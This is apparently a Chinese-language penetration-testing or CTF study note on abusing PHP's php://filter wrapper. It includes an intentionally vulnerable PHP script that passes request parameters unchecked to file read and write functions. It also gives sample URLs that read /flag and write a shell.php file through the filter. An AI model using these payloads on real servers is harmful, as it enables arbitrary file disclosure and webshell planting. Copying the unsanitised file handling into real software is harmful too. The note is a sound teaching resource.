在渗透测试或漏洞挖掘的过程中,我们经常会遇到php://filter
结合其他漏洞,比如 文件包含,文件读取,反序列化,XXE等等 进行组合利用,以达到一定的攻击效果,拿到相应的服务器的权限。
php://filter
来了解原理:
php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
.php://filter 目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
1. 自己的尝试:
1. 当前面有路径限制的时候,
上面说了是在文件流的时候进行过滤的。但是如果题目在前面有前缀的 话,就不行了。直接?file1=php://filter/resource=flag
,没有办法。不能够读取任意文件。同样,写文件也是不行 的。
没有前缀限制的话,写入文件:
也只能够写入本目录下,不能够想读取文件一样,在任意目录进行写入文件,也是只能够在本目录下进行写入。
1.使用
0. 测试代码:
<?php
$file1 = $_GET['file1'];
$file2 = $_GET['file2'];
$txt = $_GET['txt'];
echo file_get_contents($file1);
file_put_contents($file2,$txt);
?>
1.读取文件:
# 明文读取
test.php?file1=php://filter/resource=/flag
# 编码读取
test.php?file1=php://filter/read=convert.base64-decode/resource=/flag
2. 写入文件:
# 明文写入:
test.php?file2=php://filter/resource=shell.php&txt=<?php phpinfo();?>
#编码写入:
test.php?file2=php://filter/write=convert.base64-encode/resource=shell.php&txt=<?php phpinfo();?>